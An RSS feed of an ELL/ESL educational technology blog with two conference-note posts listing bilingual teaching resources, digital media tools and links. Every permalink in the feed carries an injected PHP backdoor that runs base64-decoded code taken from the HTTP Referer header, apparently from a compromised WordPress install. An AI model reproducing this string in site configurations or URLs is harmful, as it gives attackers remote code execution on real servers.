EdTech Avenue » ELL/ESL http://edtechavenue.com your avenue for discussing educational technology Mon, 25 Jan 2010 16:01:40 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 BET on Technology: Bilingual Educational Technology http://edtechavenue.com/2009/06/29/bet-on-technology-bilingual-educational-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://edtechavenue.com/2009/06/29/bet-on-technology-bilingual-educational-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 29 Jun 2009 13:07:45 +0000 Jill http://edtechavenue.com/?p=258 In this session, my main goal is to gather sites that will be helpful to our teachers who have a growing need for bilingual resources for their students.

http://www.lorilopez.info is her portal site of FREE resources.  Here are some she highlighted:

  • Flash Quizzes for Grammar – http://a4esl.org/q/f/
  • Internet Picture Dictionary – http://www.pdictionary.com/spanish/ (there is also an English one)
  • ABC Espanol – http://www.poissonrouge.com/abcespanol/index.html (interactive!)

I am not going to list all the sites here as they are all on Lori’s portal.  There are some incredible resources here, but make sure you leave yourself time to really explore some of them.  Others she highlighted are:

  • Storyplace
  • Zoo Madrid
  • Maya & Miguel
  • PBL Checklists (also in English)
  • Pasadena ISD (has presentations (PowerPoint) for instruction in English and Spanish)
What I see are some terrific tools my teachers could use in the classroom, but I think these tools would better serve our students if they could be enrichment activities at home… 1-to-1 would solve that but is so far into the future I can’t see it.  My challenge will be to bring these tools to my teachers in a way that is practical and realistic for their use.  Maybe this should be one of those “teacher tech playground” meetings I am hoping to implement this year to push my teachers to the next level of technology integration.
  • Spanish Vocabulary Games like Hangman – http://www.gamequarium.com/spanishvocab.html
  • Google Language Tools – http://www.google.com/language_tools?hl=en
  • Rubistar: Rubrics in English and Spanish
There is a whole section on Lori’s site with resources for use with Promethean or SMART boards, for those fortunate enough to have them.
]]> http://edtechavenue.com/2009/06/29/bet-on-technology-bilingual-educational-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 NECC ‘07: Digital Media Tools for English Language Learners http://edtechavenue.com/2007/06/26/necc-07-digital-media-tools-for-english-language-learners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://edtechavenue.com/2007/06/26/necc-07-digital-media-tools-for-english-language-learners/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 26 Jun 2007 15:58:21 +0000 Jill http://edtechavenue.com/2007/06/26/necc-07-digital-media-tools-for-english-language-learners/ Presenter website: http://web.mac.com/artu/iWeb/maestrotools/Home.html
Wiki: http://eduese.pbwiki.com/ 

I have a 1 MB connection this morning, so I hope blogging will update correctly.  I’ve been keeping backups, copying text before I save just in case…

There are many resources listed and referenced in this session according to the NECC program – I’ve copied this information to the bottom of this post for easier accessibility. 

My notes from the session follow, with some interspersed comments from me in italics:

Effective Pedagogy: (books) How People Learn and Literacy, Technology, and Diversity

Technology Tools for ELLs should:

  • Develop deep UNDERSTANDING of concepts, ideas and learning
  • Provide AUTHENTIC opportunities to communicate and problem-solve
  • RELATE to pre-exisiting knowledge and experiences
  • Provide CHALLENGING learning opportunities
  • Enable students and teachers to COLLABORATE
  • Reinforce a positive IDENTITY

Big Ideas

  • ELLs shold be both media consumers and media producers
  • ELLs should produce and publish
  • You already have what you need

Improved Sense of Self > Academic Achievement > Digital Media Production > Electronic Publishing > Positive Feedback > Improved Sense of Self…

Produce

  • Narrative and Informational Videos
  • Books (can be inexpensive to print now)
  • Comics (ComicLife)
  • Journals, Blogs
  • Radio Shows
  • Interviews

Publish

  • Podcasting
  • Blogs
  • RSS
  • Wikis
  • Skype
  • Lulu.com (publisher, virtually free)

Gaggle.net has translate feature and one that will read selected text to you.

Internet Archive (archive.org) has public domain videos students can edit and use to create their own content.

Camstudio.org has free tool for recording audio with screencast
Jodx.com (?) is free tool for converting audio to iPod format

UnitedStreaming – use script of narration in Teacher’s Guide (in Related Materials) to allow students to follow along reading while listening

Give them a reason to practice their English – record their own audio

Video by teacher in Houston ISD: ESL = English with Sound and Light.  Had students create a list of adjectives to describe themselves and records them.  He encourages them to use their voices, gestures and facial expresions to clarify.  GREAT effects, and really seems to engage the students and give them a personal ownership in their work and increased self image.  Another video shows students doing activities with a narrator (student) asking what the student did.  You need to answer out loud, then the narrator tells the answer with text.  This is an instructional video to help students learn the activities and practice verbs.  These videos are not published, but Arturo says you can probably email the teacher (Michael Shea) for a copy of the DVDs.  Occasionally they are published on the Reagan H.S. website.  A higher-end video editor is used for this project, but lower-end tools would work to get started.

Digital images available on UnitedStreaming for use in projects (but not for publishing on the web).  Pics4Learning is another good source for free images.  iPhoto has a book-maker feature (StoryBook) to create a bound hardcover or paperback book with photos and text.  Linter.com (?) also has tools for creating books.  MyPublisher.com is a PC version where you can create books – upload and they print or you can print yourself.

ComicLife is a comic book builder that is motivating and fun for kids.  There is now a Windows version as well as the Mac version that’s been around a while.  Teachers use to teach dialog – everything in the bubble needs to be in quotation marks.  Can also create a QuickTime movies from this.  Newer Macs (last year or so, the Intel-based Macs) include ComicLife software.

Graphic Organizers are another great tool (Inspiration/Kidspiration) for ELL students to learn concepts and connections.

Digital audio can be created easily by students, and this is a good opportunity for ELL students to record their own voices practicing their English.  Radio WillowWeb is a “radio” internet audio site for and by kids.  PCs and Macs have recording capabilities built-in, but other free tools are available.  Audacity is a free tool for Mac and PC.  iPod microphones are also a great took for portable recording (Belkin ToonTalk is recommended), but it does drain battery fast.  Podcasts are also good for practicing and enhancing lessons – enhanced podcasts include pictures and text!  One quote from a teacher: In our middle schools, they’re given 20 vocabulary words to learn, and they were learning 40 percent.  With the use of iPods and podcasts, learning has increased to 95 percent.

Robert Chavez, Harris Elementary, Austin ISD: Identity Text video.  When student is speaking Spanish as narrator, subtitles show English.  Photos and video of personal descriptors.  Email Arturo for a copy of the video.

Referenced Web Links (copied from NECC online program)

Digital Video
iMovie: http://www.apple.com/education/imovie/
Movie Maker: http://www.microsoft.com/windowsxp/using/moviemaker/getstarted/default.mspx
iPod in Education: http://www.apple.com/education/ipod/
Video – The Letter: http://homepage.mac.com/dbranam1/iMovieTheater19.html

Digital Images
iPhoto (Mac): http://www.apple.com/support/iphoto/
Photo Story (PC): http://www.microsoft.com/windowsxp/using/digitalphotography/photostory/default.mspx
Websites to publish your photo books:
http://www.sharedink.com/
http://www.mypublisher.com
http://www.blurb.com/
http://www.lulu.com/
Inspiration: http://www.inspiration.com/
Comic Life (only for Mac): www.plasq.com
Comic Book Creator (only for PC): http://www.mycomicbookcreator.com

Digital Audio
Audacity (free audio recorder for Mac and PC): http://audacity.sourceforge.net/
iTunes (Mac and PC): http://www.apple.com/itunes/
Garageband (Mac only music and podcast tool): http://www.apple.com/ilife/garageband/

Podcasts
Breaking News English: http://www.breakingnewsenglish.com/
English as a Second Language Podcast: http://www.eslpod.com/website/index.php
Digital Chalk: http://www.digitalchalkworksheets.com/
Rolling R’s (Middle School Spanish Lessons): http://rollingrs.com/

ELL Web Resources
Colorin Colorado (ESL resources from PBS) http://colorincolorado.org/
Space Place (Math and Science for kids in English and Spanish): http://spaceplace.jpl.nasa.gov/sp/kids/
HPRTEC (Rubistar and Casa Notes): http://hprtec.org/
Pics4Learning (free safe images) http://www.pics4learning.com/
Venatanas al Universo (Math and Science for kids in English and Spanish, leveled): http://www.windows.ucar.edu/spanish.html

Web 2.0
The Clem (Class weblog): http://visitmyclass.com/blogs/burnett05/default.aspx
Goochland High School (Teacher weblogs): http://www.glnd.k12.va.us/gateway/go/ghs/teachers
Skype (free computer to computer calls anywhere in the world): http://www.skype.com
Edublogs (free weblog site for teachers): http://www.edublogs.org
Wikispaces (free collaborative website builder): http://www.wikispaces.com/site/for/teachers

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